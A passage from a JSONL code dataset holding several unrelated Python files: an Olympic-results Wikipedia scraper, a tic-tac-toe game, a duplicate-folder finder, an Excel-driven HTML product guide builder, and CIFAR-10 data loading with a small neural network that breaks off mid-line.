agencies (check readme)\ndef hot_encoder(df, category):\n lst = []\n for i in df:\n if i == category:\n lst.append(1)\n else:\n lst.append(0)\n return lst\n\n\n#Function to convert the info within offices into a geopoint.\ndef geopoint(data):\n data = data['office']\n principal = None\n if data['latitude'] and data['longitude']: #Makes sure there is data\n principal = {\n \"type\":\"Point\",\n \"coordinates\":[data['longitude'], data['latitude']]\n }\n\n return {\n \"lat\": data['latitude'],\n \"lng\": data['longitude'],\n \"geopoint\": principal\n }\n\n#Concatenating data with geopoints\ndef concatenator(df1, df2):\n return pd.concat([df1, df2], axis=1)\n\n\n#Creating a json with the new dataframe to apply the geoindex using mongodb compass\ndef json_creator(df, name):\n return df.to_json(f'../data/{name}.json', orient=\"records\")\n\n","sub_path":"source/geomodules/dataclean.py","file_name":"dataclean.py","file_ext":"py","file_size_in_byte":4402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"472537543","text":"import fnmatch\nimport itertools\nimport os\nimport os.path\nimport re\nimport sys\nfrom tqdm import tqdm\n\n\nif len(sys.argv) != 2:\n print(\"usage: %s directory\" % sys.argv[0])\n exit(1)\n\n\ndirectory = os.path.abspath(sys.argv[1])\n\n\nincludes = [] # for files only\nexcludes = ['.Trash-1000', '.Trashes', '.git'] # for dirs and files\n\n# transform glob patterns to regular expressions\nincludes = r'|'.join([fnmatch.translate(x) for x in includes])\nexcludes = r'|'.join([fnmatch.translate(x) for x in excludes]) or r'$.'\n\n\n# for root, dirs, files in os.walk(directory):\n# path, dirs, files = os.walk(directory).next()\n# count_files = (int(len(files)))\n# for i in tqdm.tqdm(range(count_files)):\n# time.sleep(0.1)\n# for fname in files:\n# full_fname = os.path.join(root, fname)\n\n\ndircounter = 0\nfor dirpath, dirs, files in tqdm(os.walk(directory)):\n for dr in dirs:\n dircounter += 1\n\nfolders = []\n\nfor root, dirs, files in tqdm(os.walk(directory), total=dircounter):\n dirs[:] = [os.path.join(root, d) for d in dirs]\n dirs[:] = [d for d in dirs if not re.match(excludes, d)]\n\n for dr in dirs:\n folders.append(\n {'root': root[len(directory):],\n 'directory': os.path.basename(dr)})\n\nprint(len(folders))\n\nimport pdb\npdb.set_trace()\n\nfolders = sorted(folders, key=lambda d: d['directory'])\nfolders2 = [{dr: list(flds)} for dr, flds in itertools.groupby(\n folders, key=lambda d: d['directory'])]\n[i['root'] for i in list(folders2[11].values())[0]]\n","sub_path":"findups.py","file_name":"findups.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"289324999","text":"# File: Ch14-EXTRA.py\n# Description: Here is Tic Tac Toe game. It will allow for a full game of Tic Tac Toe between two players, and it will tell you who won or if the game is over with no winner.\n\nimport sys\n# Starting point for Extra Credit\n# Tic Tac Toe game program\n\n\ndef clear():\n return [[' ', ' ', ' '], [' ', ' ', ' '], [' ', ' ', ' ']]\n\n# /////// display ////////\n# // Display the current status of the board on the\n# // screen, using hyphens (-) for horizontal lines\n# // and pipes (|) for vertical lines.\n\n\ndef display(board):\n column_count = 0\n row_count = 0\n for row in board:\n for column in row:\n if column_count == len(row) - 1:\n print(column)\n else:\n print(column+'|', end='')\n column_count += 1\n if row_count == len(board) - 1:\n print(end=\"\")\n else:\n print(\"------\")\n row_count += 1\n column_count = 0\n row_count = 0\n return True\n\n# /////// takeTurn ////////\n# // Allow the nextPlayer to take a turn.\n# // Send output to screen saying whose turn\n# // it is and specifying the format for input.\n# // Read user's input and verify that it is a\n# // valid move. If it's invalid, make them\n# // re-enter it. When a valid move is entered,\n# // put it on the board.\n\n\ndef takeTurn(board, nextPlayer):\n print(\"\"\"It is now \"\"\"+nextPlayer+\"\"\"'s turn.\nPlease enter your move in row and column.\nSo row: 0 and column: 0 would be the top left, and row: 0 and column: 2 would be the top right.\"\"\")\n print(\"Type !q to exit the program\")\n row_position = check_variable_type(\"Enter row: \")\n column_position = check_variable_type(\"Enter column: \")\n current_position_status = check_current_position(row_position,column_position,board)\n while current_position_status is False:\n print(\"This position is already occupied\")\n row_position = check_variable_type(\"Enter row: \")\n column_position = check_variable_type(\"Enter column: \")\n current_position_status = check_current_position(row_position,column_position,board)\n board[row_position][column_position] = nextPlayer\n if nextPlayer == 'X':\n nextPlayer = 'O'\n else:\n nextPlayer = 'X'\n return nextPlayer\n\ndef check_current_position(row_position,column_position,board):\n if row_position is None or column_position is None or board[row_position][column_position] != \" \":\n return False\n else:\n return True\n\ndef check_variable_type(string):\n temp_string = None\n while temp_string is None or isinstance(temp_string,str):\n temp_string = input(string)\n try:\n temp_string = int(temp_string)\n except:\n if is_exit(temp_string):\n sys.exit()\n else:\n print(\"Please Enter a integer number\")\n else:\n if temp_string < 0 or temp_string >= 3:\n temp_string = None\n print(\"Number should between 0 and 2\")\n return temp_string\n\ndef is_exit(arg):\n if arg == '!q':\n return True\n\n# /////// winner /////////\n# // Examines the board and returns one of the following:\n# // ' ' (a space) meaning the game is not yet over\n# // 'X' meaning that player X has won\n# // 'O' meaning that player O has won\n# // '?' meaning that the game is over because the board\n# // is full, but no one won.\n\n\ndef winner(board):\n horizontal = check_horizontal(board)\n vertical = check_veritical(board)\n slanted = check_slanted(board)\n if horizontal is not None:\n winner = horizontal\n elif vertical is not None:\n winner = vertical\n elif slanted is not None:\n winner = slanted\n elif check_space(board):\n winner = ' '\n else:\n winner = '?'\n return winner\n\ndef check_space(board):\n for row in board:\n if \" \" in row:\n return True\n\ndef check_horizontal(board):\n winner = None\n count = 0\n for row in board:\n for column in range(1,len(row)):\n if \" \" not in row and row[column-1] == row[column]:\n count += 1\n if count == len(row)-1:\n winner = row[0]\n count = 0\n\n return winner\n\ndef check_slanted(board):\n winner = None\n count_top = 0\n count_bottom = 0\n slanted_top = []\n slanted_bottom = []\n for column in range(len(board)):\n slanted_top.append(board[column][column])\n slanted_bottom.append(board[(len(board)-1)-column][column])\n if \" \" not in slanted_top:\n for slanted_value in range(1,len(slanted_top)):\n if slanted_top[slanted_value-1] == slanted_top[slanted_value]:\n count_top += 1\n if count_top == len(board)-1:\n winner = slanted_top[0]\n if \" \" not in slanted_bottom:\n for slanted_value in range(1,len(slanted_bottom)):\n if slanted_bottom[slanted_value-1] == slanted_bottom[slanted_value]:\n count_bottom += 1\n if count_bottom == len(board)-1:\n winner = slanted_bottom[0]\n count_bottom = 0\n count_top = 0\n slanted_bottom = []\n slanted_top = []\n return winner\n\ndef check_veritical(board):\n vertical_values = []\n count = 0\n winner = None\n for row in range(len(board)):\n for column in range(len(board)):\n vertical_values.append(board[column][row])\n for vertical_value in range(1,len(vertical_values)):\n if \" \" not in vertical_values and vertical_values[vertical_value-1] == vertical_values[vertical_value]:\n count += 1\n if count == len(board)-1:\n winner = vertical_values[0]\n break\n vertical_values = []\n count = 0\n return winner\n# /////// main ////////\n# // No changes needed in this function.\n# // It declares the variables, initializes the game,\n# // and plays until someone wins or the game becomes unwinnable.\n\n\ndef main():\n board = clear()\n nextPlayer = 'X'\n winningPlayer = ' '\n\n display(board)\n\n while winningPlayer == ' ':\n nextPlayer = takeTurn(board, nextPlayer)\n display(board)\n winningPlayer = winner(board)\n if winningPlayer == '?':\n print(\"Nobody won. Please play again.\")\n elif winningPlayer != ' ':\n print(\"Congratulations, \", winningPlayer, \" YOU WON!\")\n return True\n\n\nmain()\n\n\n# | | \n# ------\n# | | \n# ------\n# | | \n# It is now X's turn.\n# Please enter your move in row and column.\n# So row: 0 and column: 0 would be the top left, and row: 0 and column: 2 would be the top right.\n# Type !q to exit the program\n# Enter row: 0\n# Enter column: 0\n# This place is already occupied.\n# X| | \n# ------\n# | | \n# ------\n# | | \n# It is now O's turn.\n# Please enter your move in row and column.\n# So row: 0 and column: 0 would be the top left, and row: 0 and column: 2 would be the top right.\n# Type !q to exit the program\n# Enter row: 0\n# Enter column: 1\n# This place is already occupied.\n# X|O| \n# ------\n# | | \n# ------\n# | | \n# It is now X's turn.\n# Please enter your move in row and column.\n# So row: 0 and column: 0 would be the top left, and row: 0 and column: 2 would be the top right.\n# Type !q to exit the program\n# Enter row: 1\n# Enter column: 0\n# This place is already occupied.\n# X|O| \n# ------\n# X| | \n# ------\n# | | \n# It is now O's turn.\n# Please enter your move in row and column.\n# So row: 0 and column: 0 would be the top left, and row: 0 and column: 2 would be the top right.\n# Type !q to exit the program\n# Enter row: 0\n# Enter column: 2\n# This place is already occupied.\n# X|O|O\n# ------\n# X| | \n# ------\n# | | \n# It is now X's turn.\n# Please enter your move in row and column.\n# So row: 0 and column: 0 would be the top left, and row: 0 and column: 2 would be the top right.\n# Type !q to exit the program\n# Enter row: 2\n# Enter column: 0\n# This place is already occupied.\n# X|O|O\n# ------\n# X| | \n# ------\n# X| | \n# Congratulations, X YOU WON!","sub_path":"Ch14-EXTRA.py","file_name":"Ch14-EXTRA.py","file_ext":"py","file_size_in_byte":7967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"120067668","text":"# -*- coding: utf-8 -*-\n\n'''\nCreated on 22.07.2012\n\n@author: Ikari\n'''\nfrom utilities import get_doc, getNOC, download_flag,\\\n print_event_competition, log_event_competition, find_chapter_header_h3,\\\n has_rowspan, has_colspan\n\nfrom string import join\n\nfrom vars import logger, YEAR, LETTER, SEPARATOR, WIKI_HOST\n\n\ndef extract_team(res_file, link, team_name):\n logger.info('Extracting team: %s' % team_name)\n doc = get_doc(link)\n\n imageTags = doc.cssselect('img.thumbborder')\n if len(imageTags) == 0:\n logger.error(\"ERROR: couldn't find image for team [%s]\" % team_name)\n return\n\n flagTag = imageTags[0]\n team_short_name = flagTag.xpath('./../../../tr[2]/td[1]//span')[0].text_content()\n flag_file = '%s%s%s.png' % (team_short_name, YEAR, LETTER)\n \n res_file.write((join([team_name, team_short_name, getNOC(team_name), link, flag_file], SEPARATOR) + '\\n').encode('utf-8'))\n \n download_flag(flagTag, flag_file)\n\ndef fix_event(event, sport, table_num):\n if sport == 'Wrestling':\n event = 'Greco-Roman ' + event if table_num == 0 else 'Freestyle ' + event\n if sport == 'Gymnastics' and table_num == 2:\n return 'Rhythmic ' + event\n return event\n\ndef get_gender(event, sport, table_num):\n gender = 'MALE'\n if \"Men's\" in event or (sport == 'Wrestling' and table_num < 2) or (sport == 'Canoeing' and table_num == 1): # or (sport == 'Cycling' and (table_num == 1) ):\n return gender\n if 'women' in event.lower() or 'woman' in event.lower() or \"ladies\" in event.lower() or table_num == 1 or (sport == 'Gymnastics' and 'Rhythmic' in event) or sport == 'Synchronized swimming' or (sport == 'Canoeing' and table_num == 2) or (sport == 'Wrestling' and table_num == 2): # or (sport == 'Cycling' and (table_num == 2) ) :\n return 'FEMALE'\n if ('mixed' in event.lower() or (sport == 'Figure skating' and (event == 'Ice Dancing' or event == 'Pairs' or event == 'Ice dancing' or event == 'Pair skating') ) or table_num == 2 or sport == 'Equestrian'):\n return 'MIXED'\n return gender\n\ndef is_team_link(link):\n return 'Olympics' in link and '#' not in link and \"at_the_\" in link\n\ndef is_sportsman_link(link):\n return 'cite_note' not in link and 'File' not in link and \"at_the_\" not in link and '#' not in link\n\ndef print_results(res_file, medal, gender, team, sportsmans, fix_team_function = None):\n team_href = team.get('href') if not isinstance(team, basestring) else team \n if fix_team_function != None:\n team_href = fix_team_function(team_href)\n \n res_file.write('TYPE:Result\\n')\n res_file.write((join([medal, WIKI_HOST + team_href], SEPARATOR) + '\\n').encode('utf-8'))\n \n for sportsman in sportsmans:\n res_file.write('TYPE:Sportsman\\n')\n res_file.write((join([sportsman.text_content(), gender, WIKI_HOST + sportsman.get('href')], SEPARATOR) + '\\n').encode('utf-8') )\n\ndef extract_result(res_file, col, medal, gender, sport, fix_team_function = None, def_team = None):\n team = None\n sportsmans = []\n \n border_team = None\n \n logger.info('Extracting results')\n links = col.xpath('.//a')\n \n for link in links:\n href = link.get('href')\n \n if fix_team_function != None:\n href = fix_team_function(href)\n \n logger.info('Link: [%s]' % href)\n \n is_team = is_team_link(href)\n is_sportsman = is_sportsman_link(href)\n logger.info('IS_TEAM: [%s] IS_SPORTSMAN: [%s]' % (str(is_team), str(is_sportsman) ) )\n \n if border_team == None and (is_team or is_sportsman):\n border_team = is_team\n\n logger.info('BORDER_TEAM: [%s]' % (str(border_team) ) )\n \n if is_team:\n if team != None:\n print_results(res_file, medal, gender, team, sportsmans, fix_team_function)\n team = link\n sportsmans = []\n else:\n team = link\n \n if is_sportsman:\n if (len(sportsmans) > 0) and (not border_team) and team != None:\n print_results(res_file, medal, gender, team, sportsmans, fix_team_function)\n team = None\n sportsmans = [link]\n else:\n sportsmans.append(link)\n \n if team == None and def_team != None:\n team = def_team\n \n if (team != None) and (len(sportsmans) > 0):\n logger.info('Print results')\n print_results(res_file, medal, gender, team, sportsmans, fix_team_function)\n return True\n \n return False\n \n\n\ndef extract_event_wikitables(sport, table_num, event, fcol):\n event = fcol.text_content().replace('details', '').replace('\\n', '').replace(' ', ' ').replace(' ', ' ').replace('(', '').replace(')', '').strip()\n event = fix_event(event, sport, table_num)\n return event\n\n\ndef extract_competition_wikitables(tournament_link, table_num, competition, col_num, fcol):\n competition = tournament_link\n comps = fcol.xpath('.//a')\n for c in comps:\n if 'file' not in c.get('href').lower() and 'olympics' in c.get('href').lower():\n competition = WIKI_HOST + c.get('href')\n break\n if competition == tournament_link:\n competition += '#%s' % str(100 * table_num + col_num)\n return competition\n\ndef extract_wikitables(res_file, tournament_link, wikitables, sport):\n for i in range(0,len(wikitables)):\n table = wikitables[i]\n \n rows = table.xpath('.//tr')\n \n event = None\n competition = None\n gender = None\n \n medals_c = []\n \n for j in range(1, len(rows)):\n row = rows[j]\n cols = row.xpath('./*')\n fcol = cols[0]\n\n is_rowspan = has_rowspan ( fcol )\n \n if is_rowspan and len(medals_c) > 0:\n medals_c = []\n \n if has_colspan(fcol):\n continue\n \n if len(cols) < 4: \n for k in range(0, len(cols)):\n medal = medals_c[k]\n extract_result(res_file, cols[k], medal, gender, sport)\n continue\n \n event = extract_event_wikitables(sport, i, event, fcol)\n competition = extract_competition_wikitables(tournament_link, i, competition, j, fcol)\n gender = get_gender(event, sport, i) \n\n log_event_competition(gender, event, competition) \n print_event_competition(res_file, sport, gender, event, competition)\n \n MEDALS = ['GOLD', 'SILVER', 'BRONZE', 'NONE']\n med = 0\n \n \n for k in range(1, len(cols)):\n col = cols[k]\n \n medal = MEDALS[med]\n\n if is_rowspan and not has_rowspan(col):\n medals_c.append(medal)\n \n if extract_result(res_file, col, medal, gender, sport):\n med += 1\n \n if 'none awarded' in col.text_content().lower() or 'not awarded' in col.text_content().lower() or 'none' in col.text_content().lower():\n med += 1 \n\ndef extract_results_list(res_file, sport, gender, MEDALS, table, lim = -1):\n rows = table.xpath('.//tr')\n n = len(rows) if lim == -1 else lim\n for row_index in range(1, n):\n row = rows[row_index]\n medal = MEDALS[row_index - 1]\n extract_result(res_file, row, medal, gender, sport)\n\n\ndef extract_tables_with_result_lists(res_file, link, sport, tables, gender, MEDALS, lim = -1, st_comp = 0):\n t_num = 1\n for table in tables:\n header = find_chapter_header_h3(table)\n if header == None:\n continue\n event = header.replace('edit', '').replace('[', '').replace(']', '').strip()\n competition = link + '#' + str(t_num + st_comp)\n t_num+=1\n log_event_competition(gender, event, competition)\n print_event_competition(res_file, sport, gender, event, competition)\n extract_results_list(res_file, sport, gender, MEDALS, table, lim)\n \n\n","sub_path":"wiki-extractor/extractor/olympic/mainlogic.py","file_name":"mainlogic.py","file_ext":"py","file_size_in_byte":8191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"624737614","text":"\"\"\"\nUsage: build_tool1 [--in_folder=INPUT_FOLDER] [--out_folder=OUTPUT_FOLDER] [--date=DATE] [-p] (--files=FILE...)\n\nArguments:\n INPUT_FOLDER Input data folder\n OUTPUT_FOLDER Output data folder\n\nOptions:\n -h --help\n -i --in_folder=INPUT_FOLDER\n -o --out_folder=OUTPUT_FOLDER\n -f --files=FILE list of configuration files\n -d --date=DATE Update Date\n\n\"\"\"\n\nfrom docopt import docopt\nimport os\nfrom html_template import CompleteToolTemplate, MainMenuTemplate\nfrom product_table_to_html import product_table_to_html, selected_products\nfrom printing_utility import print_header_value_variation_stat\n\nfrom excel import read_excel, update_excel_sheet\n\nfrom mylogger import mylog\n\n\ndef build_tool1():\n args = docopt(__doc__)\n mylog.debug(args)\n\n input_folder = ''\n if args['--in_folder']:\n input_folder = args['--in_folder']\n\n output_folder = ''\n if args['--out_folder']:\n output_folder = args['--out_folder']\n\n main_menu = MainMenuTemplate()\n output_files_dict = {}\n\n for input_file_name in args['--files']:\n\n input_file_full_path = os.path.join(input_folder, input_file_name)\n\n config_df, error = read_excel(input_file_full_path, replace_nan='', sheet_name='html_config')\n if error:\n mylog.error(\"Can't process file {0} - sheet html_config: {1}\".format(input_file_full_path, error))\n continue\n\n products_df, error = read_excel(input_file_full_path, replace_nan='', sheet_name='Data')\n if error:\n mylog.error(\"Can't process file {0} - sheet Data: {1}\".format(input_file_full_path, error))\n continue\n\n config_dict = config_df.to_dict('index')\n\n row_index_list = list(map(int, list(config_dict)))\n\n mylog.debug(row_index_list)\n\n for i in row_index_list:\n row = config_dict[i]\n\n output_file_name = row['output_html']\n if output_file_name not in output_files_dict:\n output_files_dict.update({output_file_name: CompleteToolTemplate()})\n main_menu.add_item(row['main_menu_item'], output_file_name)\n\n processed_ispn_list = []\n for i in row_index_list:\n\n row = config_dict[i]\n\n mylog.debug(\"Open data: {0} - {1}\".format(input_file_full_path, 'Data'))\n\n alias_to_col_name_dict = None\n try:\n mylog.info(\"Open column alias file: {0} - {1}\".format(input_file_full_path, 'column_aliases'))\n\n col_alias_df, error = read_excel(input_file_full_path, replace_nan='', sheet_name='column_aliases')\n if error:\n mylog.error(error)\n return\n\n alias_to_col_name_dict = aliases_to_dict(col_alias_df, 'alias')\n\n except FileNotFoundError as e:\n mylog.error(e)\n\n mylog.debug(row)\n\n row.setdefault('exclude', '')\n row.setdefault('include_only', '')\n row.setdefault('match', '')\n\n mylog.debug(\"exclude='{0}' include='{1}' match='{2}'\".format(row['exclude'], row['include_only'],\n row['match']))\n selected_products_df = selected_products(products_df,\n exclude=row['exclude'],\n include_only=row['include_only'],\n match=row['match'],\n alias_to_col_name_dict=alias_to_col_name_dict\n )\n\n processed_ispn_list.extend(selected_products_df['Ispn'].tolist())\n\n mylog.debug(\"Build html for '{0}' -> '{1}' -> '{2}'\".format(row['category'], row['subcategory'], row['view']))\n table_html, error = product_table_to_html(selected_products_df,\n category=row['category'],\n subcategory=row['subcategory'],\n view_name=row['view'],\n main_topic=row['main_topic'],\n tree_attributes=row['tree'],\n part_attributes=row['attributes'],\n datasheet_url=row['datasheet_url'],\n view_type=row['view_type'],\n product_page_url=row['product_page_url'],\n alias_to_col_name_dict=alias_to_col_name_dict)\n if error:\n mylog.error(error)\n else:\n template = output_files_dict[row['output_html']]\n template.add_table(table_html)\n\n # mark processed Ispns\n mylog.info(\"Marking processed {0} Ispns...\".format(len(processed_ispn_list)))\n products_df['_processed'] = ''\n products_df.loc[products_df['Ispn'].isin(processed_ispn_list), '_processed'] = 'Y'\n error = update_excel_sheet('Data', input_file_full_path, products_df, prompt=True,\n convert_strings_to_urls=False)\n if error:\n mylog.error(\"Can't update {0} with processed Ispns marks\".format(input_file_full_path))\n\n mylog.debug(output_files_dict)\n\n for file_name in output_files_dict:\n output_files_dict[file_name].add_main_menu_html(main_menu.make(selected_menu_link=file_name))\n output_files_dict[file_name].add_date_info(args['--date'])\n out_html = output_files_dict[file_name].make()\n with open(os.path.join(output_folder, file_name), \"w\", encoding='utf-8') as out_html_file:\n out_html_file.write(out_html)\n\n\ndef aliases_to_dict(alias_df, alias_col: str) -> dict:\n al_df = alias_df.set_index(alias_col)\n res = {}\n for index, row in al_df.iterrows():\n row = [r for r in row if len(r) > 0]\n if len(row) == 1:\n row = row[0]\n if len(row) == 0:\n row = ''\n res.update({index: row})\n\n return res\n\n\ndef build_tool1_test():\n file_list = [\"f1.html\", \"f2.html\", \"f3.html\"]\n\n template = CompleteToolTemplate()\n\n for file_name in file_list:\n with open(file_name, \"r\", encoding='utf-8') as html_file:\n html = html_file.read()\n template.add_table(html)\n\n out_html = template.make()\n\n with open(\"out.html\", \"w\", encoding='utf-8') as out_html_file:\n out_html_file.write(out_html)\n\n\nif __name__ == '__main__':\n build_tool1()\n","sub_path":"product_selection_guide_builder/build_tool1.py","file_name":"build_tool1.py","file_ext":"py","file_size_in_byte":6821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"214206628","text":"import numpy as np\r\nimport pickle\r\nimport matplotlib.pyplot as plt\r\nimport scipy.io as sio\r\nfrom scipy.stats import mode\r\nfrom copy import deepcopy\r\n\r\ndef softmax(x):\r\n \"\"\" Standard definition of the softmax function \"\"\"\r\n return np.exp(x) / np.sum(np.exp(x), axis=0)\r\ndef relu(x):\r\n return np.maximum(0,x)\r\n\r\ndef LoadBatch(filename):\r\n \"\"\" Copied from the dataset website \"\"\"\r\n with open('Dataset/'+filename, 'rb') as fo:\r\n dict = pickle.load(fo, encoding='bytes')\r\n return dict\r\n\r\ndef ComputeCost(X, Y, W , b, lam):\r\n P = softmax(W @ X + b) # (K,n)\r\n N = X.shape[1]\r\n l = -Y*np.log(P) # categorical cross-entropy\r\n return 1. / N * np.sum(l) + lam * np.sum(W**2)\r\n\r\ndef ComputeGradsNum(X, Y, P, W, b, lamda, h):\r\n \"\"\" Converted from matlab code \"\"\"\r\n no \t= \tW.shape[0]\r\n d \t= \tX.shape[0]\r\n\r\n grad_W = np.zeros(W.shape);\r\n grad_b = np.zeros((no, 1));\r\n\r\n c = ComputeCost(X, Y, W, b, lamda);\r\n \r\n for i in range(len(b)):\r\n b_try = np.array(b)\r\n b_try[i] += h\r\n c2 = ComputeCost(X, Y, W, b_try, lamda)\r\n grad_b[i] = (c2-c) / h\r\n\r\n for i in range(W.shape[0]):\r\n for j in range(W.shape[1]):\r\n W_try = np.array(W)\r\n W_try[i,j] += h\r\n c2 = ComputeCost(X, Y, W_try, b, lamda)\r\n grad_W[i,j] = (c2-c) / h\r\n\r\n return grad_W, grad_b\r\n\r\ndef ComputeGradsNumSlow(X, Y, P, W, b, lamda, h):\r\n \"\"\" Converted from matlab code \"\"\"\r\n no \t= \tW.shape[0]\r\n d \t= \tX.shape[0]\r\n\r\n grad_W = np.zeros(W.shape);\r\n grad_b = np.zeros((no, 1));\r\n \r\n for i in range(len(b)):\r\n b_try = np.array(b)\r\n b_try[i] -= h\r\n c1 = ComputeCost(X, Y, W, b_try, lamda)\r\n\r\n b_try = np.array(b)\r\n b_try[i] += h\r\n c2 = ComputeCost(X, Y, W, b_try, lamda)\r\n\r\n grad_b[i] = (c2-c1) / (2*h)\r\n\r\n for i in range(W.shape[0]):\r\n for j in range(W.shape[1]):\r\n W_try = np.array(W)\r\n W_try[i,j] -= h\r\n c1 = ComputeCost(X, Y, W_try, b, lamda)\r\n\r\n W_try = np.array(W)\r\n W_try[i,j] += h\r\n c2 = ComputeCost(X, Y, W_try, b, lamda)\r\n\r\n grad_W[i,j] = (c2-c1) / (2*h)\r\n\r\n return grad_W, grad_b\r\n\r\ndef montage(W):\r\n \"\"\" Display the image for each label in W \"\"\"\r\n fig, ax = plt.subplots(2,5)\r\n for i in range(2):\r\n for j in range(5):\r\n im = W[i*5+j,:].reshape(32,32,3, order='F')\r\n sim = (im-np.min(im[:]))/(np.max(im[:])-np.min(im[:]))\r\n sim = sim.transpose(1,0,2)\r\n ax[i][j].imshow(sim, interpolation='nearest')\r\n ax[i][j].set_title(\"y=\"+str(5*i+j))\r\n ax[i][j].axis('off')\r\n plt.show()\r\n\r\ndef save_as_mat(data, name=\"model\"):\r\n \"\"\" Used to transfer a python model to matlab \"\"\"\r\n sio.savemat(name+'.mat',{name:b})\r\n\r\ndef load_batch(filename):\r\n '''\r\n path = \"cifar-10-batches-py/\"\r\n d = LoadBatch(path + filename)\r\n for key, value in d.items() :\r\n print (key)\r\n data = d[b'data']\r\n labels = d[b'labels']\r\n batch_labels = d[b'batch_labels']\r\n '''\r\n #train_images, train_labels, test_images, test_labels = cifar10()\r\n #return data,labels,batch_labels\r\n\r\n\r\ndef unpickle(file):\r\n \"\"\"load the cifar-10 data\"\"\"\r\n\r\n with open(file, 'rb') as fo:\r\n data = pickle.load(fo, encoding='bytes')\r\n return data\r\n\r\n\r\ndef load_cifar_10_data(data_dir, N_val, negatives=False):\r\n \"\"\"\r\n Return train_data, train_filenames, train_labels, test_data, test_filenames, test_labels\r\n \"\"\"\r\n\r\n # get the meta_data_dict\r\n # num_cases_per_batch: 1000\r\n # label_names: ['airplane', 'automobile', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck']\r\n # num_vis: :3072\r\n\r\n meta_data_dict = unpickle(data_dir + \"/batches.meta\")\r\n cifar_label_names = meta_data_dict[b'label_names']\r\n cifar_label_names = np.array(cifar_label_names)\r\n\r\n # training data\r\n cifar_train_data = None\r\n cifar_train_filenames = []\r\n cifar_train_labels = []\r\n\r\n for i in range(1, 6):\r\n cifar_train_data_dict = unpickle(data_dir + \"/data_batch_{}\".format(i))\r\n if i == 1:\r\n cifar_train_data = cifar_train_data_dict[b'data']\r\n else:\r\n cifar_train_data = np.vstack((cifar_train_data, cifar_train_data_dict[b'data']))\r\n cifar_train_filenames += cifar_train_data_dict[b'filenames']\r\n cifar_train_labels += cifar_train_data_dict[b'labels']\r\n\r\n cifar_train_data = cifar_train_data.reshape((len(cifar_train_data), 3, 32, 32))\r\n if negatives:\r\n cifar_train_data = cifar_train_data.transpose(0, 2, 3, 1).astype(np.float32)\r\n else:\r\n cifar_train_data = np.rollaxis(cifar_train_data, 1, 4)\r\n cifar_train_filenames = np.array(cifar_train_filenames)\r\n cifar_train_labels = np.array(cifar_train_labels) \r\n\r\n\r\n N_train = cifar_train_data.shape[0] - N_val\r\n\r\n\r\n # fix validation and train\r\n cifar_val_data = cifar_train_data[N_train:]\r\n cifar_val_filenames = cifar_train_filenames[N_train:]\r\n cifar_val_labels = cifar_train_labels[N_train:]\r\n \r\n cifar_train_data = cifar_train_data[:N_train]\r\n cifar_train_filenames = cifar_train_filenames[:N_train]\r\n cifar_train_labels = cifar_train_labels[:N_train]\r\n\r\n # test data\r\n # cifar_test_data_dict\r\n # 'batch_label': 'testing batch 1 of 1'\r\n # 'data': ndarray\r\n # 'filenames': list\r\n # 'labels': list\r\n\r\n cifar_test_data_dict = unpickle(data_dir + \"/test_batch\")\r\n cifar_test_data = cifar_test_data_dict[b'data']\r\n cifar_test_filenames = cifar_test_data_dict[b'filenames']\r\n cifar_test_labels = cifar_test_data_dict[b'labels']\r\n\r\n cifar_test_data = cifar_test_data.reshape((len(cifar_test_data), 3, 32, 32))\r\n if negatives:\r\n cifar_test_data = cifar_test_data.transpose(0, 2, 3, 1).astype(np.float32)\r\n else:\r\n cifar_test_data = np.rollaxis(cifar_test_data, 1, 4)\r\n cifar_test_filenames = np.array(cifar_test_filenames)\r\n cifar_test_labels = np.array(cifar_test_labels)\r\n N_test = cifar_test_data.shape[0]\r\n\r\n print(\"N_train: \", N_train)\r\n print(\"N_val: \", N_val)\r\n print(\"N_test: \", N_test)\r\n\r\n # fix shapes and values of data\r\n cifar_train_data = np.reshape(cifar_train_data, (N_train, 32*32*3))\r\n cifar_train_data = cifar_train_data / 255.\r\n cifar_val_data = np.reshape(cifar_val_data, (N_val, 32*32*3))\r\n cifar_val_data = cifar_val_data / 255.\r\n cifar_test_data = np.reshape(cifar_test_data, (N_test, 32*32*3))\r\n cifar_test_data = cifar_test_data / 255.\r\n\r\n # one-hot encodings\r\n train_onehot = np.zeros((N_train, 10))\r\n train_onehot[np.arange(N_train), cifar_train_labels] = 1\r\n val_onehot = np.zeros((N_val, 10))\r\n val_onehot[np.arange(N_val), cifar_val_labels] = 1\r\n test_onehot = np.zeros((N_test, 10))\r\n test_onehot[np.arange(N_test), cifar_test_labels] = 1\r\n\r\n return cifar_train_data, cifar_train_filenames, cifar_train_labels, train_onehot.T, \\\r\n cifar_val_data, cifar_val_filenames, cifar_val_labels, val_onehot.T, \\\r\n cifar_test_data, cifar_test_filenames, cifar_test_labels, cifar_label_names, test_onehot.T\r\n\r\n\r\nclass Net2:\r\n # d: input dim,\r\n # m: hidden dim\r\n # K: out dim\r\n def __init__(self, d,m, K):\r\n std1 = 1. / np.sqrt(d)\r\n self.W1 = np.random.normal(0,std1,(m,d))\r\n #self.b1 = np.zeros((m,1)) \r\n self.b1 = np.random.normal(0,.1,(m,1)) \r\n std2 = 1. / np.sqrt(m)\r\n self.W2 = np.random.normal(0,0.1,(K, m))\r\n self.b2 = np.random.normal(0,.1,(K,1)) \r\n #self.b2 = np.zeros((K,1)) \r\n #xavi_std = np.sqrt(2. / (d+K))\r\n #self.W = np.random.normal(0,xavi_std,(K,d)) # xavier\r\n\r\n # returns output and hidden output\r\n def forward(self,X):\r\n S1 = self.W1 @ X + self.b1\r\n H = relu(S1)\r\n S = self.W2 @ H + self.b2\r\n return H, softmax(S)\r\n\r\n # Y: one-hot, (K, n)\r\n # X: data are cols\r\n # lam: penalty term\r\n # returns cross-entropy loss\r\n def compute_cost(self,X, Y, lam):\r\n _,P = self.forward(X) # (K,n)\r\n N = X.shape[1]\r\n l = -Y*np.log(P) # categorical cross-entropy\r\n return 1. / N * np.sum(l) + lam * \\\r\n (np.sum(self.W1**2) + np.sum(self.W2**2))\r\n\r\n def compute_accuracy(self, X, y):\r\n N = X.shape[1]\r\n _,P = 